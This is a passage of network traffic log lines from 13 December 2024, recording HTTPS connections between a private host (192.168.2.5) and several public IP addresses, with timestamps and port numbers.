Dec 13, 2024 08:35:14.191814899 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.191862106 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.191873074 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.194202900 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.194221973 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.194299936 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.198630095 CET	443	49785	104.18.10.207	192.168.2.5
Dec 13, 2024 08:35:14.198817015 CET	443	49785	104.18.10.207	192.168.2.5
Dec 13, 2024 08:35:14.198904037 CET	49785	443	192.168.2.5	104.18.10.207
Dec 13, 2024 08:35:14.198915005 CET	443	49785	104.18.10.207	192.168.2.5
Dec 13, 2024 08:35:14.199431896 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.199502945 CET	49785	443	192.168.2.5	104.18.10.207
Dec 13, 2024 08:35:14.202178955 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.202230930 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.202385902 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.202436924 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.202498913 CET	49784	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.202516079 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.202565908 CET	49784	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.206971884 CET	443	49785	104.18.10.207	192.168.2.5
Dec 13, 2024 08:35:14.207948923 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.208036900 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.208049059 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.210896969 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.248321056 CET	49785	443	192.168.2.5	104.18.10.207
Dec 13, 2024 08:35:14.248351097 CET	443	49785	104.18.10.207	192.168.2.5
Dec 13, 2024 08:35:14.264312029 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.264558077 CET	49784	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.295325994 CET	49785	443	192.168.2.5	104.18.10.207
Dec 13, 2024 08:35:14.305247068 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.310050011 CET	443	49785	104.18.10.207	192.168.2.5
Dec 13, 2024 08:35:14.311207056 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.314271927 CET	443	49785	104.18.10.207	192.168.2.5
Dec 13, 2024 08:35:14.314343929 CET	49785	443	192.168.2.5	104.18.10.207
Dec 13, 2024 08:35:14.314354897 CET	443	49785	104.18.10.207	192.168.2.5
Dec 13, 2024 08:35:14.359337091 CET	49784	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.359335899 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.359347105 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.359388113 CET	49785	443	192.168.2.5	104.18.10.207
Dec 13, 2024 08:35:14.389245987 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.389287949 CET	443	49785	104.18.10.207	192.168.2.5
Dec 13, 2024 08:35:14.391606092 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.391693115 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.391716957 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.393100023 CET	443	49785	104.18.10.207	192.168.2.5
Dec 13, 2024 08:35:14.393184900 CET	49785	443	192.168.2.5	104.18.10.207
Dec 13, 2024 08:35:14.393202066 CET	443	49785	104.18.10.207	192.168.2.5
Dec 13, 2024 08:35:14.393548965 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.393583059 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.393610954 CET	49784	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.393625021 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.393672943 CET	49784	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.400991917 CET	443	49785	104.18.10.207	192.168.2.5
Dec 13, 2024 08:35:14.401283979 CET	49785	443	192.168.2.5	104.18.10.207
Dec 13, 2024 08:35:14.401312113 CET	443	49785	104.18.10.207	192.168.2.5
Dec 13, 2024 08:35:14.401365995 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.407649994 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.407697916 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.407718897 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.407735109 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.407937050 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.410840034 CET	443	49785	104.18.10.207	192.168.2.5
Dec 13, 2024 08:35:14.410918951 CET	49785	443	192.168.2.5	104.18.10.207
Dec 13, 2024 08:35:14.410948992 CET	443	49785	104.18.10.207	192.168.2.5
Dec 13, 2024 08:35:14.411103964 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.411171913 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.411202908 CET	49784	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.411222935 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.411602020 CET	49784	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.415102005 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.417064905 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.421061993 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.421129942 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.421154976 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.424936056 CET	443	49785	104.18.10.207	192.168.2.5
Dec 13, 2024 08:35:14.424946070 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.425034046 CET	49785	443	192.168.2.5	104.18.10.207
Dec 13, 2024 08:35:14.425046921 CET	443	49785	104.18.10.207	192.168.2.5
Dec 13, 2024 08:35:14.425060987 CET	443	49785	104.18.10.207	192.168.2.5
Dec 13, 2024 08:35:14.425081968 CET	49784	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.425096035 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.425128937 CET	49785	443	192.168.2.5	104.18.10.207
Dec 13, 2024 08:35:14.428868055 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.428958893 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.428977966 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.432792902 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.432818890 CET	443	49785	104.18.10.207	192.168.2.5
Dec 13, 2024 08:35:14.432858944 CET	49784	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.432868004 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.436754942 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.437222958 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.437232971 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.440658092 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.440716982 CET	49784	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.440726042 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.440865040 CET	443	49785	104.18.10.207	192.168.2.5
Dec 13, 2024 08:35:14.440927029 CET	49785	443	192.168.2.5	104.18.10.207
Dec 13, 2024 08:35:14.440954924 CET	443	49785	104.18.10.207	192.168.2.5
Dec 13, 2024 08:35:14.444478989 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.444556952 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.444566011 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.448580980 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.448668003 CET	49784	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.448683977 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.448848009 CET	443	49785	104.18.10.207	192.168.2.5
Dec 13, 2024 08:35:14.448904991 CET	49785	443	192.168.2.5	104.18.10.207
Dec 13, 2024 08:35:14.448906898 CET	443	49785	104.18.10.207	192.168.2.5
Dec 13, 2024 08:35:14.448925972 CET	443	49785	104.18.10.207	192.168.2.5
Dec 13, 2024 08:35:14.448976994 CET	49785	443	192.168.2.5	104.18.10.207
Dec 13, 2024 08:35:14.454876900 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.454943895 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.454955101 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.457557917 CET	443	49785	104.18.10.207	192.168.2.5
Dec 13, 2024 08:35:14.462925911 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.463028908 CET	49784	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.463037014 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.463407040 CET	443	49785	104.18.10.207	192.168.2.5
Dec 13, 2024 08:35:14.463485003 CET	49785	443	192.168.2.5	104.18.10.207
Dec 13, 2024 08:35:14.463495970 CET	443	49785	104.18.10.207	192.168.2.5
Dec 13, 2024 08:35:14.469422102 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.469444036 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.469516039 CET	49784	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.469526052 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.469544888 CET	443	49785	104.18.10.207	192.168.2.5
Dec 13, 2024 08:35:14.469579935 CET	49784	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.469587088 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.469619036 CET	49785	443	192.168.2.5	104.18.10.207
Dec 13, 2024 08:35:14.469629049 CET	443	49785	104.18.10.207	192.168.2.5
Dec 13, 2024 08:35:14.469655037 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.469666958 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.475822926 CET	443	49785	104.18.10.207	192.168.2.5
Dec 13, 2024 08:35:14.475889921 CET	49785	443	192.168.2.5	104.18.10.207
Dec 13, 2024 08:35:14.475897074 CET	443	49785	104.18.10.207	192.168.2.5
Dec 13, 2024 08:35:14.476002932 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.477358103 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.477420092 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.477438927 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.509414911 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.509510994 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.509537935 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.519319057 CET	49785	443	192.168.2.5	104.18.10.207
Dec 13, 2024 08:35:14.519324064 CET	49784	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.519330025 CET	443	49785	104.18.10.207	192.168.2.5
Dec 13, 2024 08:35:14.519341946 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.551347971 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.551372051 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.567307949 CET	49784	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.567317963 CET	49785	443	192.168.2.5	104.18.10.207
Dec 13, 2024 08:35:14.581343889 CET	443	49785	104.18.10.207	192.168.2.5
Dec 13, 2024 08:35:14.581430912 CET	443	49785	104.18.10.207	192.168.2.5
Dec 13, 2024 08:35:14.581501007 CET	49785	443	192.168.2.5	104.18.10.207
Dec 13, 2024 08:35:14.581537008 CET	443	49785	104.18.10.207	192.168.2.5
Dec 13, 2024 08:35:14.581648111 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.581707954 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.581723928 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.582078934 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.582433939 CET	49785	443	192.168.2.5	104.18.10.207
Dec 13, 2024 08:35:14.582487106 CET	443	49785	104.18.10.207	192.168.2.5
Dec 13, 2024 08:35:14.582573891 CET	49785	443	192.168.2.5	104.18.10.207
Dec 13, 2024 08:35:14.584853888 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.584916115 CET	49784	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.584933996 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.585428953 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.585491896 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.585504055 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.590183973 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.590367079 CET	49784	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.590400934 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.600398064 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.600405931 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.600462914 CET	49784	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.600476027 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.600512028 CET	49784	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.600910902 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.600965023 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.600972891 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.608688116 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.608767986 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.608778000 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.608818054 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.610023022 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.610083103 CET	49784	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.610093117 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.610162020 CET	49784	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.614518881 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.619182110 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.619240999 CET	49784	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.619249105 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.619307041 CET	49784	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.619916916 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.619936943 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.619985104 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.628551006 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.628571033 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.628614902 CET	49784	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.628859997 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.628880024 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.628935099 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.628952980 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.628981113 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.630176067 CET	443	49786	142.250.181.132	192.168.2.5
Dec 13, 2024 08:35:14.630456924 CET	49786	443	192.168.2.5	142.250.181.132
Dec 13, 2024 08:35:14.630475044 CET	443	49786	142.250.181.132	192.168.2.5
Dec 13, 2024 08:35:14.631480932 CET	443	49786	142.250.181.132	192.168.2.5
Dec 13, 2024 08:35:14.631537914 CET	49786	443	192.168.2.5	142.250.181.132
Dec 13, 2024 08:35:14.632635117 CET	49786	443	192.168.2.5	142.250.181.132
Dec 13, 2024 08:35:14.632693052 CET	443	49786	142.250.181.132	192.168.2.5
Dec 13, 2024 08:35:14.637579918 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.637630939 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.637643099 CET	49784	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.637653112 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.637693882 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.637708902 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.637757063 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.637757063 CET	49784	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.645133972 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.645155907 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.645190954 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.646706104 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.646713972 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.646770000 CET	49784	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.648317099 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.648375988 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.648385048 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.648422956 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.651417971 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.651480913 CET	49784	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.654545069 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.654633045 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.655867100 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.655996084 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.656054020 CET	49784	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.656203985 CET	49784	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.656215906 CET	443	49784	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.660644054 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.660713911 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.666831017 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.666985989 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.669893980 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.669955969 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.676032066 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.676183939 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.678322077 CET	49786	443	192.168.2.5	142.250.181.132
Dec 13, 2024 08:35:14.678335905 CET	443	49786	142.250.181.132	192.168.2.5
Dec 13, 2024 08:35:14.701462030 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.701543093 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.706037998 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.706108093 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.725303888 CET	49786	443	192.168.2.5	142.250.181.132
Dec 13, 2024 08:35:14.773741961 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.773868084 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.778175116 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.778251886 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.784342051 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.784434080 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.787305117 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.787370920 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.792902946 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.792973042 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.795598030 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.795658112 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.800929070 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.800987959 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.805821896 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.805881977 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.810806990 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.810875893 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.813385963 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.813446045 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.818286896 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.818344116 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.823198080 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.823282957 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.825699091 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.825759888 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.829951048 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.830030918 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.833403111 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.833467960 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.835304022 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.835390091 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.966499090 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.966618061 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.968123913 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.968204975 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.971549034 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.971648932 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.974783897 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.974864006 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.976583004 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.976659060 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.979897976 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.980000019 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.983248949 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.983355045 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.984985113 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.985081911 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.988220930 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.988306046 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:14.988307953 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.988358021 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.988579035 CET	49783	443	192.168.2.5	104.17.24.14
Dec 13, 2024 08:35:14.988595963 CET	443	49783	104.17.24.14	192.168.2.5
Dec 13, 2024 08:35:17.140419006 CET	49703	443	192.168.2.5	23.1.237.91
Dec 13, 2024 08:35:17.140616894 CET	49703	443	192.168.2.5	23.1.237.91
Dec 13, 2024 08:35:17.142163038 CET	49798	443	192.168.2.5	23.1.237.91
Dec 13, 2024 08:35:17.142196894 CET	443	49798	23.1.237.91	192.168.2.5
Dec 13, 2024 08:35:17.142277002 CET	49798	443	192.168.2.5	23.1.237.91
Dec 13, 2024 08:35:17.143115044 CET	49798	443	192.168.2.5	23.1.237.91
Dec 13, 2024 08:35:17.143126011 CET	443	49798	23.1.237.91	192.168.2.5
Dec 13, 2024 08:35:17.260184050 CET	443	49703	23.1.237.91	192.168.2.5
Dec 13, 2024 08:35:17.260283947 CET	443	49703	23.1.237.91	192.168.2.5
Dec 13, 2024 08:35:18.490535021 CET	443	49798	23.1.237.91	192.168.2.5
Dec 13, 2024 08:35:18.490691900 CET	49798	443	192.168.2.5	23.1.237.91
Dec 13, 2024 08:35:24.324547052 CET	443	49786	142.250.181.132	192.168.2.5
Dec 13, 2024 08:35:24.324611902 CET	443	49786	142.250.181.132	192.168.2.5
Dec 13, 2024 08:35:24.324856997 CET	49786	443	192.168.2.5	142.250.181.132
Dec 13, 2024 08:35:25.557605982 CET	49786	443	192.168.2.5	142.250.181.132
Dec 13, 2024 08:35:25.557637930 CET	443	49786	142.250.181.132	192.168.2.5
Dec 13, 2024 08:35:37.859306097 CET	443	49798	23.1.237.91	192.168.2.5
Dec 13, 2024 08:35:37.859397888 CET	49798	443	192.168.2.5	23.1.237.91
Dec 13, 2024 08:35:44.363862991 CET	49798	443	192.168.2.5	23.1.237.91
Dec 13, 2024 08:35:44.363895893 CET	443	49798	23.1.237.91	192.168.2.5
Dec 13, 2024 08:35:44.363909960 CET	49798	443	192.168.2.5	23.1.237.91
Dec 13, 2024 08:35:44.363918066 CET	443	49798	23.1.237.91	192.168.2.5
Dec 13, 2024 08:35:44.364187002 CET	49863	443	192.168.2.5	23.1.237.91
Dec 13, 2024 08:35:44.364226103 CET	443	49863	23.1.237.91	192.168.2.5
Dec 13, 2024 08:35:44.364306927 CET	49863	443	192.168.2.5	23.1.237.91
Dec 13, 2024 08:35:44.378422976 CET	49863	443	192.168.2.5	23.1.237.91
Dec 13, 2024 08:35:44.378498077 CET	443	49863	23.1.237.91	192.168.2.5
Dec 13, 2024 08:35:44.378578901 CET	49863	443	192.168.2.5	23.1.237.91
Dec 13, 2024 08:36:12.857209921 CET	49929	443	192.168.2.5	142.250.181.132
Dec 13, 2024 08:36:12.857249975 CET	443	49929	142.250.181.132	192.168.2.5
Dec 13, 2024 08:36:12.857428074 CET	49929	443	192.168.2.5	142.250.181.132
Dec 13, 2024 08:36:12.860410929 CET	49929	443	192.168.2.5	142.250.181.132
Dec 13, 2024 08:36:12.860426903 CET	443	49929	142.250.181.132	192.168.2.5
Dec 13, 2024 08:36:14.579267025 CET	443	49929	142.250.181.132	192.168.2.5
Dec 13, 2024 08:36:14.585968971 CET	49929	443	192.168.2.5	142.250.181.132
Dec 13, 2024 08:36:14.585984945 CET	443	49929	142.250.181.132	192.168.2.5
Dec 13, 2024 08:36:14.586355925 CET	443	49929	142.250.181.132	192.168.2.5
